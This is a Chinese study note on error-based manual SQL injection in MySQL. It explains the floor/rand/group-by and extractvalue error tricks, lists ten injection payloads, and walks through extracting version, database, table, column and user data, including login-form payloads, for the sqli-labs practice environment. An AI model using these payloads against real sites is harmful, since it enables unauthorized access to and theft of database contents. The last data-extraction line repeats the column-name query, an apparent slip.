學習筆記十三:MySQL手注之報錯注入
原理詳解
當在一個聚合函式,比如count函式後面如果使用分組語句就會把查詢的一部分一部分以錯誤的形式顯示出來。
這些函式分別是:
- Rand() //隨機函式
- Floor() //取整函式
- Count() //聚合函式
- Group by key //分組語句
例如,利用floor()語句報錯,就是利用floor(),count(),group() by衝突報錯,當這三個函式在特定情況一起使用產生的錯誤。
用處
可以代替盲注,用於那些你在頁面當中的輸入得不到頁面的任何回顯錯誤時使用,就是利用它的一些報錯的特性來進行注入以獲取我們想要的資訊。
函式解釋:
extractvalue():從目標XML中返回包含所查詢值的字串。
EXTRACTVALUE (XML_document,XPath_string);
第一個引數:XML_document是string格式,為XML文件物件的名稱,文中為Doc
第二個引數:XPath_string(Xpath格式的字串)
concat:返回結果為連線引數產生的字串。
報錯注入常用的函式
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
實操演練
extractvalue()
獲取版本資訊:and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
資料庫名:and extractvalue(1,concat(0x7e,(select database()),0x7e))#
獲取表名:and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#
獲取列名:and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e))#
獲取資料:and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))#
updatexml()
獲取資料庫名:uname=admin&passwd=' or updatexml(1,concat('#',(database())),0)--+
獲取表名:uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0)--+
獲取列名:uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0)--+
獲取資料:uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0)--+
注:以上實操演可以在sqli-laps中進行。